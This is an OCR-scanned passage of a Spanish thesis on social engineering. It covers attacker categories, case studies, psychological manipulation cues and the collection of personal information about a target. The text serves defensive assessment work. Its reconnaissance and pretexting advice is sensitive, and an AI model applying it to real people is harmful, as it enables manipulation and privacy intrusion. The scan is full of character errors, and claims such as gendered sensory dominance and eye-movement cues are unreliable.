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RESUMEN

Las empresas inv¡erten grandes c€ntidades en soluciones tecnológicas, para

evitar accesos no autor¡zados, y se comprometa su información sensible

entorno de su negoc¡o, p€ro no muchas veces toman en consideración el

factor humano que interv¡ene en estos esquemas de seguridad, pudrendo ser

el eslabón más ¡mportante y menos atendido en la cadena de seguridad.

La ingeniería social es un método de ataque que es usado por los Hackers,

para obtener información sensible de las personas que trabajan en la

empresa, el objetivo es poder utilizar este con sus todas sus técnrcas, a favor

de la empresa, para poder evaluar y detectar las potenc¡ales

vulnerabilidades.

Por este molivo una metodología desanollada clara y práctica realizada por

agentes exfernos, ayudará a las empresas a poder inveñir los recursos

necesaflos
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INTRODucctÓN

Este tema analizar las vulnerabilidades gue se presentan actualmente en las

empresas, atacando princ¡palmente el usuar¡o con técn¡cas de lngenierÍa

Social, y demostrar lo viable que poder vulnerar sistemas informáticos.

Los objetivos trazados son: El Analizar y entender a los ingenieros sociales,

sus motivac¡ones, y basado en este análisis poder entender las posibles

vÍctimas dentro de las empresas. Esto permitirá poder evaluar y desarrollar

un marc, de trabajo que de la pauta a un desarrollo más exhausto para

futuras investigac¡ones.
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CAP¡TULO 1

1. lngeniería Social Marco teórico

En la búsqueda dentro de las redes y foros, se puede percibir que la

información de los ingenieros sociales, y sus acciones no están del todo

cubiertas.

En este capítulo se prende conocer quiénes son los ingenieros sociales, sus

implicancias dentro de la historia. una breve reseña de sus técn¡cas más

comunes. También evidenciar que las empresas no están preparadas o las

contramedidas no son conocidas por el personal adecuado.

Y el poder entender el ámbito psicológico por las cuales las personas puede

caer frente a las técnicas de los ingenieros sociales. Adicional las falencias

que están presentes para comunicar las ideas adecuadas frente a una iniciativa

para protegerse.

1.'1. ¿Qué es lngen¡ería Social?

1.1.1. Definición de lngenier¡a Soc¡al.

La ingeniería social ha venido desanollándose a lo largo del

tiempo, desde que el ser humano t¡ene acceso a la computadora,
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se han ingeniado varias técnicas cada una más creatrvas que

otras

Dentro de las múltiples deflniciones que se puede encontrar de la

ingeniería social, se puede resum¡r como el proceso de engañar o

man¡pular a las personas para que den acceso a información

confidencial o sensible.

\r'úikipedia lo define c¡mo "el acto de manipular a la gente para

realizar acciones o divulgar información confidencial.' ([REF01 ])

Mientras que estos términos se asemejan a una estafa o fraude

simple, el término en si se aplica generalmente a la astuc¡a o

engaño con fines de recolección de información, fraude, o acceso

a sistemas informáticos. En la mayorÍa de los casos nunca el

atacante (la persona que aplica ingeniería social), se encuentra

cara a cara con la víctima.

Muchos han considerado que la ingenierÍa soc¡al es el mayor

riesgo para la seguridad dentro de las empresas.

Desde el punto de vista de seguridad, es una colección de

herramientas y técnicas que van desde la negocración,

manipulación, ventas, psicología y hacking ético.



En los ataques de ingenieros sooales, vamos a encontrar un

atacante y la vietima que puede ser una persona o una empresa

que se compone de personas (posibles víctimas).

Encontrar buenos ejemplos reales de ataques de ingenierÍa social

es difícil. Organizaciones de destino, o bien no quieren admitir que

han sido víctimas (después de todo, admitir un fallo de seguridad

fundamental no sólo es vergonzoso, puede dañar la reputación de

la organización) y / o el ataque no estaba bien documentado para

que nadie está realmente seguro de si había un ataque de

ingenierÍa socral o no.

En cuanlo a por qué las organizaciones se dirigen a través de la

ingeniería social, es a menudo una forma más fácil de obtener

acceso ¡lícito a muchas formas de piraterÍa rnformática técnica.

lncluso para los técnicos, a menudo es mucho más sencillo

simplemente tomar el teléfono y ped¡rle a una persona de su

contraseña. Y lo más frecuenle es justo lo que un hacker haría.

Otro ejemplo contemporáneo de un ataque de ¡ngen¡ería social es

el uso de archivos adjuntos en e-mails, ofrecrendo, por ejemplo,

fotos "ínt¡mas" de alguna persna famosa o algún programa

"gratis" (a menudo aparentemente provenientes de alguna

persona conocida) pero que ejecutan código malicioso (por

19
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ejemplo, usar la máquina de la víctima para enviar cantidades

masivas de spam)

No tan frecuente la ingenieria social también se aplica al acto de

manipulación c*ra a ca@ con la víctima, para obtener acceso a

los sistemas computacionales. Un ejemplo es el conocimiento y

recaudación de información sobre la víctima, a través de la

introducc¡ón de contraseñas habituales, lógicas comunes o

conoc¡endo su pasado y presente; respondiendo a preguntas

como. ¿Qué contraseña introduciría yo si fuese la víctima? ¿Qué

pregunta secreta pondría si fuera la victima?

Dentro de la historia de los Hackers. se encuentra uno de los

ingenieros sociales más famosos de los últimos trempos, su

nombre es Kevin Mitnick. Su Nick o apodo fue Cóndor. También

apodado por él mismo "fantasma de /os cables" [REF 2]

En base a su opinión y experiencia, la ingenrería social se basa en
estos cuatro principios:

1. Todos queremos ayudar.

2. El primer movimiento es siempre de confianza hac¡a el otro

3. No nos gusta dec¡r No.

4. A todos nos gusta que nos alaben.

1.1.2. Historia de los Hackers de lngeniería Social.
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"Las organizaciones gastan millones de dólares en firewalls y

dispositivos de seguridad, pero tiran el dinero porque ninguna de

estas medidas cubre el eslabón más débil de la cadena de

seguridad. la gente que usa y adm¡nistra los ordenadores"

Kevin Mitnick IREF 3].

1.2. Categoria de los ingenieros Sociales

lngenieria Social y los que la utilizan pueden dividirse en varias

categorías. Eslos van desde espías y hackers profesionales a los

vendedores y gente común.

1.2.1. Los hackers

Dentro de la categoría de los hackers se distinguen, tres tipos

básicos: Hackers, Crackers, Phreakers, pero en este ensayo nos

refer¡remos a los Hackers como a las personas que trenen

intenciones mal¡ciosas para la empresa.

Los hackers utilizan la ingeniería soc¡al muchas veces debido a

que el factor de la debilidad humana es mucho más fácil de

penetrar que los puntos déb¡les de la red. Muchas veces los

hackers "gana/'a la hora de la batalla, ya que no están limitadas

por el tiempo o la falta de motivac¡ón. Mientras que el director lo

normal, se va a casa a las 5 o las 6 pm, el hacker va a funcionar

las 24 horas del dÍa para llevar a cabo su / su objetivo. Después
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1.2.1 .'1. Kevin David Mitnick

Uno de los Hackers más famosos dentro de la historra es

Kevin Davrd Mitnick (nacido el 6 de agosto de 1963) es uno

de los Hackers y phreakers estadoun¡dense más famosos.

Su nick o apodo fue Cóndor. También apodado por él

mismo 'Yantasma de los cables"l

El caso de Kevin Mitnick (su último encarcelamiento)

alcanzó una gran popularidad entre los medios

estadounidenses por la lentitud del proceso (hasta la

celebración del juicio pasaron más de dos años), y las

estr¡ctas condic¡ones de encarcelamiento a las que estaba

somet¡do (se le aisló del resto de los presos y se le prohibió

realiza¡ llamadas telefónicas durante un tiempo por su

supuesta peligrosidad)

de haber pasado el tiempo y la debida diligencia para ¡nvest¡gar

todos los aspectos de la meta que pueden lanzar un ataque total

contra la infraestructura humana que, literalmente, puede devastar

una empresa en cuestión de minutos. La obtenc¡ón de información

personal, contraseñas, cuentas de usuario remoto y el p¡rata más

usará esta información para lanzar un ataque de la tecnologia en

el objetivo.
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Tras su puesta en libertad en 20O2, Kevin Mitnick se dedica

actualmente a la consultoría y el asesoramiento en mater¡a

de seguridad, a través de su compañía Mitn¡ck Secur¡ty

1.2.2. Los Testeadores de Pruebas de intrusión

Un probador o testeador de la penetración en ingeniería social es

una persona que se pone a prueba sus conoc¡mientos en

búsqueda de vulnerabilidades o el acceso no autor¡zado a los

sistemas.

Los sistemas pueden ir desde redes de computadoras hasta

acceso físrco a los lugares. Probadores de vulnerabilidades puede

utilizar muchos elementos de ingenieria social para obtener

acceso a los sistemas.

Ellos pueden utilizar varias técn¡cas para la obtención de

información de los empleados incautos para obtener contraseñas,

obtener acceso a la entrada de los edificios, u otro acceso a los

s¡stemas.

Los probadores de intrusión, son personas preparadas que se

dedican a esta act¡v¡dad, intentando adelantarse a los atacantes, y

encontrar vulnerabilidades en las compañías antes que de sea

muy tarde.
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La ingeniería sogal es el lado humano de entrar en una red

corporativa. Las empresas con procesos de autenticación,

firewalls, VPN y software de monitoreo de red son todavía muy

abierto a un ataque si un empleado sin saberlo, da a conocer

información clave en un correo electrónico, respondiendo a

preguntas por teléfono con alguien que no conocen, o incluso al

hablar sobre un proyecto con compañeros de trabajo en un pub

local después de horas. [REF05]

Probadores de penetración pueden utilizar cualquier medio para

explotar sus objetivos. Dependiendo del alcance del trabajo no es

raro ver a los probadores de penetración pueden c¡nvertirse en

empleados de la empresa objetivo. Pudiendo tener ac@so a un

sin número de información utilizando pretextos para que la gente

lo ayude dando información sensibles.

La verificación de antecedentes es una forma importante para

defenderse contra este tipo de ataque. [REF05]

1.2.2.1 Ejemplo Wells Fargo

Los clientes de Wells Fargo fueron víctimas de un ataque

de ingeniería social que utilizan phishing. Este es un

ejemplo clásico de esta técnica de ingenierÍa social que

implicaba el envío de un correo electrónico a los clientes

pidiéndoles que actualicen su información de la cuenta y el



.E

enlace en el e-mail enviado a un s¡tio fraudulento. El

atacante utiliza también un sentido de urgencia en el correo

para atraer a sus victimas para seleccionar el enlace e

introducir su información IREF06]

El ataque incluyó el uso de la investigación de código

abierto, la obtención de un puesto como empleado

temporal dentro de la meta, la tergiversación de Ias

responsabilidades por los abusos temporal, de acceso

físico, la coordinación interna de hacking, interna y

facilitación de hackers externos, recto y hacking externo.

Los resultados fueron asombrosos. Dentro de un día de las

actividades sobre el terreno, más de $ 1,000,000,000 de

información fue "robado". Aunque el firewall era

impenetrable y la tarieta inteligente impedido el acceso de

los extranieros, la información se ha visto comprometida

cas¡ a voluntad por un allegado. Esto se logró en una

empresa que tiene un tremendo programa de seguridad

técn¡ca [REF07]

1.2.3. Los Espías

Los espías de todo el mundo aprenden diferentes métodos de

"engañar" a las víctimas haciéndoles creer que es alguien o algo

que no son. Además, para estos casos se enseña el arte de la

ingeniería social, muchas veces los espías también se basará en
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la credibilidad de conocer un poco o mucho sobre el negocio de

un gobierno que están tratando de engañar.

A veces ocurre un evento de espionaje que es publicado, se

puede aprender de la situación analizando las técnicas y los

métodos utilizados por los atacantes. Caso de estudio: Los ciber-

espías utilizan redes sociales para engañar a la oficina del Dalai

Lama [REF08]:

'Washington, 30 mar (Xinhua) Un chino c¡ber-espionaje de

red utilizado sofisticadas técnicas de ingeniería social para

engañar a ordenador y la oficina del Dalai Lama en la

descarga de software malicioso, según un expeño en

seguridad cibernética

Los ¡nvestigadores, con base en el Centro Munk de

Estudios lnternacionales de la Universidad de Toronto en

Canadá, Domingo informó que el grupo de espias

infiltrados en las computadoras y documentos robados de

cientos de of¡cinas públicas y privadas de todo el mundo,

incluyendo los de la embajada de lndia en Washington.

El software se ha unido a los correos electrónicos que

supuestamente provienen de colegas o contactos en el

movimiento tibetano, según el investigador Ross Anderson,

profesor de ingeniería de seguridad en la Universidad de

Cambridge Computer Laboratory, citado por el Washington

T¡mes el lunes.

ci-_ -.. .;,L

)
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El software robó contraseñas y otra información, que a su

vez dio el acceso a los hackers sistema de correo

electrón¡co de la oficina y los documentos almacenados en

las computadoras allí [REF0B]."

De este c€rso se puede realizar las siguientes preguntas.

o ¿Cuál era su objetivo?

"Que se utiliza sofisticadas técnicas de ingeniería social

para engañar a ordenador y la oficina del Dalai Lama en la

descarga de software malicioso".

¿Cómo hacer que el personal haga clic en el software?

"El software se ha unido a los correos electrónicos que

supuestamente prov¡enen de colegas o contactos en el

movim¡ento tibetano"

¿Por qué este éxito?

Se juega con la confianza que la mayoría de la gente siente

hacia los demás. Esa conflanza hará que la gente da

información, haga clic en un enlace y ser demasiado

amable con aquellos que no lo merecen.

Una combinación de ingeniería soc¡al y un ataque del lado del

cliente muestran algunas vulnerabilidades graves en las personas

rnvolucradas. IREF09l
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1.2.4. Los ladrones de identidad

El robo de identidad, es uso no autorizado de información, como

por e¡emplo los nombres de ciudades, números de cuentas

bancarias, direcciones, fechas de nac¡mienlo y número de seguro

social sin el conoc¡miento del propietario.

Esto puede ir desde poner un uniforme para hacerse pasar por

una persona o una elaborada estafa que ¡mpl¡ca la negac¡ón del

servicio lREFl 1l

1.2.4.1. Famoso ladrón de identidad - Frank Abagnale

Un ejemplo reciente y popular de robo de identidad se

muestra en la película "Atrápame si puedes" esto se basó

en un imitac¡ones vida real de Frank Abagnale- Frank en su

vida llega a suplantar a un médico, abogado, ¡nspeclor de

prisiones, y quizás lo más famoso fue el suplantar la

¡dentidad de un piloto de aerolÍnea

Sus estafas causaron incalculables sumas para las

Aerolineas, ya que Frank voló más de 1 millones de millas

para más de 26 países y alojado en varios hoteles a lo

largo de su camino. IREF12]
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1.2.5. Los empleados descontentos

Hay muchas razones por qué los empleados descontentos

pueden llegar ser vÍct¡mas potenciales para los atacantes.

Las razones fundamentales suelen ser el exceso de trabajo,

malos sueldos, poco apreciado, un ambiente laboral agresivo. A

menudo estas situacrones se reflejan en una relación conflictiva

con su empleador. Y normalmente se trata de ocultar su nivel de

desagrado para no poner en riesgo su empleo.

1 .2.5.1. Aumentar Descontento compañero de trabajo

Una s¡tuac¡ón común que los empleados descontentos es

que se tratara buscar afirmaciones en su descontento.

disminuyendo los niveles de satisfacción de los otros

empleados. Esto se hace a menudo sin intención directa

por parte del empleado descontento, ya que el empleado

descontento está buscando justificación para su d¡sgusto a

través del refuerzo social.

'l .2.5.1 .'1. Métodos comunes

Rumores

Extremo enfoque en los elementos negativos

La productividad general disminuye a nivel de

las conductas
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1.2.5.2. Robo

Aumenta el riesgo de robo con empleados descontentos,

ya que a menudo se sienten como si se les debe más de lo

que están recibiendo. En un intento de corregir esta

discrepancia percibida, el robo de diversos artículos es muy

común. Elementos focalizados pueden ir desde simples

artículos de oficina, a equipos irrformáticos, a la propiedad

inteleclual de la empresa. Métodos de ingeniería soc¡al son

a veces utilizados para justificar o cubrir la desaparición de

los activos de la empresa.

"empleados que abandonaron o perdieron sus empleos en

los últimos 12 ñeses guardaron /os dafos arporativos

confidenciales, y el 40% de los empleados tiene previsto

utilizar esos datos en sus nuevos puesros de trabajo"

[REF13]

1.2.5.3 La f¡ltración de secretos de la compañía

En muchos casos, los secretos de la compañia. incluyen la

propiedad intelectual, sino también informac¡ón como

organ¡gramas y eventos de empresa a menudo se puede

compart¡r con extraños por empleados descontentos. Como

empleados descontenlos suelen compartir su descontento



31

con otras personas fuera de la empresa, la información que

se comparte a menudo incluye información sensible. El

empleado descontento no se da cuenta de esto, en algunos

casos, y en otros se trata de un esfuerzo intencional para

"devolver el golpe" al empleador.

1.2.5.4 El uso de las redes sociales

Los empleados descontentos son más propensos a

compartir información sensible de la compañía a través del

uso de las redes sociales, como Twitter o Facebook., A

menudo estos empleados están ansiosos de compartir

información negativa con los demás. Esto crea un problema

a largo plazo para la imagen del empresario

1.2.6. Los Agentes de lnformación

Los agentes de informacrón son personas o empresas que se

dedican a recopilar información y datos, para proporcionar

servicios de minería de datos para var¡as organizaciones, tales

como empresas de gobierno, Serv¡c¡os de monitoreo de crédito, y

el Departamentos o Ministerios de Defensas. Estas empresas son

un objetivo de alto valor para los ingenieros sociales, ya que

contienen grandes cantidades de informac¡ón que podrian ser

utilizados para elevar aún más sus actividades de ingeniería

social. Debido a la alta digitalización y automatización de las
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empresas para tener nuestros datos concentrados, y a esto se

sumas las leyes que lo sustentan, hay empresas que manejan

nuestra información personal, como por ejemplo las aseguradas.

't.2.6.1 Agentes de la información

Agentes de lnformación utilizan diferentes técnicas para

obtener información personal. En el libro, Detener al Hacker

(Halting the Hacker), el autor señala un ejemplo de cómo

los agentes obtienen información.

"los agentes de información obt¡enen información de

la cuenta de los cl¡entes a través de una llamada

telefónica llamando con pretexto. Un corredor

puede llamar y hacerse pasar por un cl¡ente que ha

perdido su número de cuenta y que necesita ayuda.

Ellos persistentemente llamarán hasta que

encuentren a alguien que esté dispuesto a ayudar

IREF11]."

1.2.6.2 "Hacker sin hoga/'

Hacker, que por demostrar sus habilidades se dedican a

¡ealizar substracción de información, sin ningún fin

aparente.
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Adrian Lamo fue capaz de penetrar en la red del Times y

acceder a una base de datos con información personal de

3.000 personas. Con pretextos, Lamo abrió una cuenta a

través de cuenta del Times con la información de Lexis

Nexrs Broker y busco información adicional almacenada en

los sistemas de LexisNexis IREF14]

1 .2.7. Los Estafadores

El concepto de "estafador" o "Estafador", son personas que se

dedic¿n al engaño, es un delito contra la propiedad o el

patnmonio, a lo largo del tiempo estas personas se han

mantenido, deb¡do al ingenio y técnicas que se van adquiriendo,

esto sumado a la tecnología que muchas veces es usada con

fines no adecuados.

1.2.7.1 La manipulación de lncentivos

'1.2.7 .2 Fraude del pago anticipado

Un ejemplo bien conocido de una línea tradicional de estafa

en movim¡ento se llama el fraude del pago antic¡pado. Esto

Normalmente, estos ataques se basan en una

manipulación de los incentivos, por lo general, aunque no

s¡empre financieros, para premiar al agresor.
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es muy común de las comprar en línea, donde la victima

accede a sitios donde se ofrece unos artículos de interés

(por lo general de artÍculos de marcas reconocidas a un

precio muy bajo), pero pare ello hay que realizar el pago

anticipado, sin caer en cuenta o investrgar si estos sitios

son de confianza o reales.

El lnternet ha s¡do una henam¡enta increÍble para el

fraude, lo que permite ftaudes a tener éxito con las tasas

de conversión más bajos debido a la base vícl¡ma

extendida y expandida [REF15]

1.2.8. Personas dentro del gobierno

Los gobiernos utilizan métodos de ingen¡ería social de forma

regular como un esfuerzo para influir en la op¡nión pública para

apoyar las acciones del gobierno. Esto se puede hacer en una

base estructurada por los politicos o por los organrsmos

gubernamentales.

1.2.8.1 . Definición del personaje

Cuando se habla de ingeniería social en un gobierno, el

término adquiere un conjunto nuevo significado [2] Por lo

menos en un sentido más amplio, es la manipulación de un

grupo mayor de personas a través de las leyes y principios
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que decirle a la gente lo que es y no es aceptable. Esto no

indica que todo es malo, es decir, una ley sobre el

asesinato y el abuso infantrl puede ser una protección para

sus ciudadanos. [REF17].

'1.2.8.2 El uso de lenguaje

Un método común de ingeniería social utilizadas por los

gobiernos está influyendo en el uso del lenguaje para

alterar la opinión pública Dictando las palabras que se

usan para descnbir a personas o acontecimientos, los

gobiernos son capaces de enmarcar los debates de forma

que sea favorable para ellos. [REF18]

1.2.9. Personas Comunes

Los métodos de ingeniería social son utilrzados por muchas

personas comunes y cot¡d¡anas. Esto se hace a menudo sin

intención de hacer algún t¡po de daño directo, por la persona que

hace uso de los métodos, sino que se utilizan simplemente porque

son muy eficaces.

1.2.9.1 Los Niños

Los niños utilizan métodos de ingeniería soc¡al temprano

en la vida. Ellos hacen uso de múltiples métodos, siendo el

C,

t I

I
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más común en centrarse de hacer feliz al niño, ya que

todos quieren verlos reír y no llorar.

1.2.9.2 Los padres

Los padres a menudo se centran en que el niño apruebe

sus decisiones, y así obtener su aprobación, para ello

utiliza métodos de ingeniería social. Esto se hace

normalmente a través de la manipulación de los

sentim¡entos de culpa o vergúenza, y así motivar al niño a

tomar y aprobar los deseos de los padres.

1 .2.9.3 Servicio al Cliente

Métodos de ingenierÍa social son empleados por la mayoría

de las áreas de servioo al cliente, en su primer contacto

con el cliente. Una manera amistosa, alegre se emplea a

menudo con la intención de que el cliente refleje este

comportamiento lo que facilita interactuar.

1.2.9.4 Médicos

Los médicos, suelen usar ¡ngeniería social, para poder

obtener información útil de sus pacientes, como por

ejemplo su hábitos aliment¡c¡os, sus aseo personal e

información relevante que ayude a dar un diagnostico más

preciso y ef¡caz.
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1.2.9.5. Peligros de la "lngenieria Social Obvia"

Este tipo de ataque se centra en sitios donde es obvio

obtener información con un poco de ingenierÍa soc¡al. Por

elemplo si un ingeniero social está apuntando a una

organización que hace uso de métodos de ingeniería social

obvias, puede ser posable util¡zar una henam¡enta que

puede ¡r en contra de la organización. Y en esa línea, si Ia

organización objetivo tiene una meta de hacer fel¡ces a los

cl¡entes, entonces se puede trabajar con ese conocimiento,

y asi hacerse pasar por un cliente donde demuestre que va

ser feliz si obtiene una ¡nformac¡ón sensible de la empresa,

como que le den una contraseña sin identificarse.

1.3. Principios de Psicología.

Dentro de las diferentes etapas del ataque de un ingeniero social, uno de

los faclores principales, son los principios psicológicos y tácticas para

manipular a las personas.

1.3.1. Modos de Pensar

"Simplemente confirmando su comportamiento no verbal para el

cl¡ente, utilizando un lenguaje de s¡stema preferido de

representación del cl¡ente y su correspondiente volumen de la

voz, el tono y el área del habla a menudo supera la renuenc¡a del
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cliente a comun¡car".- "Habilidades para la construcc¡ón de

relaciones sutiles" [REF19l

1 .3.1.1 Los Sentidos

El mundo es traído a nuestro cerebro por nuestros

sentidos. lnterpretamos los sentidos para darnos nuestra

percepción de la realidad. En la clasificación tradicional hay

cinco sentidos:

r Vista

o Audicrón

. Toque

. Olor

. Sabor

1.3.1 .2. Sentido dom¡nante

De todos los sentidos sólo tres tienden a ser uno más

dominante: vista. oído y tacto. Lo que vemos, lo

escuchamos o que podemos tocar tocar. Las personas

tienden a tener un sentido más fuerte por alguna razón. Las

diferencias se han observado entre los sexos.

Cuando uno escucha a las personas se puede fácilmente

recoger su sent¡do dominante. Normalmente, al ver (visual),

el oído (auditiva) y el tacto (kinestés¡co) son los sentrdos
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que son más fuertes y se muestran más en la

conversación. "¿Ves lo que digo?", "¿Puedes oír lo que

estoy diciendo? ", o" ¿Puedes sent¡r mis palabras? ". La

mayoría de las personas tienden a ser multidetectados

pero predomina un tema. Los rnvestigadores están todavía

en discusión acerca de cuánto t¡empo permanecen en c€da

modo dominante. [REF1 9].

1 .3.1.3 Los sentidos dominantes

1.3.1.3.'t Visual

La mayorÍa de los hombres tienden a ser visual

dominante. Las mujeres tienden a ser balanceada o

sent¡do auditivo. Esto se manifiesta en la forma de

ver la televisión. Los hombres suelen pasar de un

canal a otro, en busca de ¡nteresantes aportaciones

visuales, mientras que las mujeres en realidad se

queda en un programa durante unos minutos y

escuchan el diálogo. Frases:

¡ 'Veo lo que qu¡eres dec¡r."

. "Eso se ve bien para mí."

. "Tengo la imagen ahora."
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1.3.1.3.2. Auditivo

Las mujeres son por lo general auditivas. Durante el

día los presentadores o locutores saben mantener

animadas las conversaciones que atraen a los

espectadores femeninos. Frases:

. "Alto y claro"

o "Algo me dice ..."

. "Eso suena b¡en para mí."

1 .3.1.3.3 Kinestésico

Kinestésico hace referenc¡a a táctil, visceral y el

sentido de sensaciones automáticas del

cuerpo. Básicamente, donde nuestro cuerpo toma la

conciencia de sí mismo del cuerpo y los sentimientos

que genera. Frases:

. "Puedo entender la idea."

. "¿Cómo te parece?"

r "Me pondré en contacto con usted."

1 .3.1.4. Diseñar para los sexos

Anuncios diseñados para hombres y muJeres son

dominanted¡ferentes. en función del sentido

diferente. Anuncios diseñados para las mujeres tienden a
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tener más palabras, mientras que los anuncios de los

hombres t¡enen más fotos [REF19].

1.3.2. Señales de los ojos

Las señales de los o¡os es una forma de conocer a las personas,

puede ser una henamienta muy útil para aproximarse a la víctima.

"Yo no necesito un l¡bro de citas para saber que los ojos

son las ventanas del alma." - Max Beerbohml

'1.3.2.1 Línea Base

Mientras que los ojos son los más fác¡les de ver, son los

más difíciles de interpretar. Las diferencias básicas en

activ¡dades culturales, las costumbres, el sexo o la religión

pueden todos cambiar la forma de usar sus ojos durante la

conversación. Una de las primeras cosas importanles que

hacer es fijarse en los patrones normales de contacto

ocular ¿Se aparta la mirada, se mantiene mirada f¡ja en los

ojos u se oculta su rostro? Son preguntas que nos ayudan

a determinar un patrón o una línea base.

Max Beerbohm Ensayista, critico y caric€turista inglés
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'1.3.2.2 Contacto con los ojos

Ciertas señales dadas por los ojos puede ayudar a

encontrar las áreas que necesitan más investigación. El

control de la duración del contacto con los ojos también

puede dar pistas sobre las áreas que podrían requerir de

mayor investigación. ¿Es que mirar hacia otro lado o hacia

abajo durante un determinado tema? Ese es el tema para

futuras investigaciones.

Cuando se evalúan las señales visuales hay que ser

consciente de que las señales visuales no sólo los o¡os.

sino también todas las señales o posturas

físicas. Especialmente es importante el darse cuenta si los

ojos miran hacia un lado u otro, lo que normalmenle es un

diálogo interno por lo general anuncia un cambio en la

mentalidad. La gente usa lentes de contacto para ver

mejor, suele significa que no se esconde detrás de las

señales de un par de gafas.

1.3.2.3. Pupilas

Un seguimiento de los cambios de la respuesta de la

pupila, es también una base importante para la evaluación

de las personas. Las pupilas generalmente se contraen con
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m¡edo o enojo. Las sorpresas y el susto pueden causar

dilatación de las pupilas.

1.3.2.4. lncongruencias verbales

Un ámbito importante en el seguimiento de la comunicación

visual y analizar las posibles incongruencias verbales. Una

forma es respondiendo a las pregunta ¿Sus o¡os coinciden

con sus palabras?, declr las palabras o lo que expresa,

¿Coinciden con sus gestos visuales?

1.3.2.5. Sanpaku

Sanpaku se refiere a una condición ocular en la que el

tamaño relativo del iris es de aproximadamente un cuarto

del globo ocular visible (de ahí su nombre en japonés, que

sign¡fica Tres blancos). La creencra asocia esta condición

con rasgos caracterológicos del individuo que la presenta,

aunque no ex¡ste evidencia cientifica alguna que la apoye.

Se suele relacionar a un estrés extremo. [REF20]

1.3.2.6. Señales de los ojos

Algunas personas consideran que los ojos pueden revelar

lo que está sucediendo en el cerebro. Se puede notar que

las personas mueven sus ojos en diferentes direcciones

m¡entras hablan. Se cree que el movimiento del ojo se
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correlac¡ona con lo que la gente piensa. Un s¡stema ha sido

desarrollado basado en el sentido dominante del orador y

la dirección que el orador mueve sus ojo. A continuación

una tabla de referencia que ayuda a distinguir los sentidos

dominantes. REF[51]

Tebla 'l-1. Sentido Oominantes de señales de los ojos

Modelo Sensoríal Dirección de la mirada

Verbal Hac¡a un lado

Vasual Arriba, a los lados

Cinética Abajo a lado

fabla 1-2. Descripción de Abreviaturas

VR - Visual

Recordatorio

AR - Auditivo

Recordatorio

Ai - Auditivo Digital

ABREVIAfURAS

VC - Visual

Construido

AC - Auditivo

Construido

V - Visual Construido /

Recordator¡o

K - kinestésica



AE

Vc Vr

Ac Ar

Ai

Figura 1-1 . Tendenc¡a comporlam¡ento basado en la mirada; REF[51]

'1.3.3. Las micro-expresiones

Una micro-expresión es una momentánea e involuntaria expresión

facial mostrada en la cara de las personas de acuerdo con las

emociones percibidas. Suelen ocurrir en situaciones con un alto

riesgo, donde la persona tiene mucho que ganar o perder. A

diferencaa de las expresiones faciales comunes es muy dificil

esconder las micro-expresiones. Las micro-expresiones expresan

siete emociones universales. Asco, Enojo, Miedo, Tristeza,

Felicidad, Sorpresa y el Desprecio. No obstanle, en los 90s, Paul

Ekman expandió la lista de emociones básicas, incluyendo el

rango de emociones positivas y negativas.

F

aa

' NOTA: Esto puede ser d¡ferente en las personas zurdas
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Los músculos faciales suelen realizar movimrentos involuntarios

cuando el cuerpo está bajo estrés. El pequeño tamaño de estos

músculos más el movimiento rápido hace que estos d¡fícil de

percibir para el ojo no entrenado. Con una duración de sólo 1/25

de un segundo [REF21]

1.3.4. Programación N euro-Lingüística (PNL)

Como se señala en Wikipedia "Programación Neuro-LingüÍstica

(PNL) se define en el Diccionario lnglés de Oxford como" un

modelo de comunicac¡ón interpersonal ocupa principalmente de la

relación entre los patrones de conducta exitosos y las

experiencias. [REF21]

1.3.4.1 Códigos de la PNL

La década de 1970 PNL tenía un código que es el órgano

colect¡vo de aprendizaje y la investigación que generó los

primeros libros y la programación Neuro-lingüística plazo A

medida que pasaba el tiempo John Grinder y otros han

seguido actualizando el campo de la PNL. El "Nuevo

Código de la PNL" ha creado un marco ético y estético para

el desarrollo de la PNL.
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't.3.4.1.1 Viejo Código de la PNL

El código "vrejo" o clásico se basa en la clasificación

de determinadas distinciones lingüísticas,

conductuales y sensoriales. La práctica del discurso

a ¡uego, estilo sensor¡al dominante y la duplicación

son parte de este estilo más antiguo Varias otras

prácticas incluyendo el cambio de tiempo, trance,

metáforas y replanteo. La vieja escuela contaba con

10 principios que se desarrollaron en el trabajo

original sobre PNL,

1. Nadie está equivocado o roto. La gente

trabaja perfectamente para lograr lo que están

logrando.

2. Las personas que ya t¡enen todos los

recursos que necesitan.

3. Detrás de cada conducta es una ¡ntenc¡ón

positiva.

4. Cada comportam¡ento es út¡l en algún

contexto.

5 El significado de la comunicación es la

respuesta que obtienes.

6. Si usted no está recibiendo la respuesta que

desea, haga algo diferente.

7. No hay tal cosa como un fracaso. Hay sólo

retroalimentación.
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8. En cualquier sistema, el elemento con Ia

mayor flexibilidad ejerce la mayor influencia.

9. El mapa no es el ten¡torio.

1 0. Si alguien puede hacer algo, cualquier

persona puede aprender.

Estas son las señas de identidad de la clásica
formación de PNL. [REF21]

1.3.4.1.2 Nuevo Código de la PNL

Los nuevos códigos se basan en los conceptos de

código clave de "estados", "relaciones consciente /

inconsc¡ente" y 'f¡ltros perceptuales". Y comprender

la relación entre los elementos en el sistema.

Estos cambios están diseñados para buscan ayudar

a los profes¡onales a pensar en nuevas formas y

sistemas. Muchos de los pensam¡entos del nuevo

código se están enseñando ahora como parte de la

norma de cursos de PNL [REF21]
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1.4. lngeniería Social como primer pasó de Ataque.

La ingenieria social es considerada dentro de los primeros pasos a tener

en cuenta para obtener información de la empresa o su víctima.

1.4.1. Conociendo a tu victima

El éxito de la ingenierÍa social, es conocer a la víctima y poder

tener un pelil de sus gustos y preferencra, esto lleva su t¡empo, y

requiere ser muy observador, mas si no se quiere tener contacto

con la víctima

Toda la información que se pueda obtener es importante y no

debe ser descarta a la ligera.

La víctima en muchos casos es una empresa, por ende es

necesario recopilar toda la información necesaria para la misma.

1.4.2. Recolectando información

En ingeniería social uno de los mayores apoñes. es cuanta más

información personal se tiene de la persona objetivo, más fácil

será conseguir sacar lo que se desea a través de esa persona, de

ahí la importancia de recolectar información. Algunos buenos

sitios para este propós¡to son.

. lnternet, tan sencillo como buscar su nombre en Google o

s¡ tiene perfil en redes como Linked ln, Facebook, Twitter,

MySpace, etc. Muchas personas lo hacen con otros

empleados dentro de la empresa.

. Objetos en su zona de trabajo.
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Conocidos y compañeros de trabajo.

lntereses, pautas de comportamiento, lugares

frecuentados.

Papelera, un trabajo sucio pero puede esconder

información para comprender la mente de la persona.

lREF22I

Al querer realizar una metodología o pasos de lngeniería Social,

existen varias metodologías a seguir, en todas existe una etapa

llamada "Recopilación de información"

Es prudente recalcar que ex¡sten d¡versos métodos y medios para

recopilar información a cerca de un objetivo (En este caso una

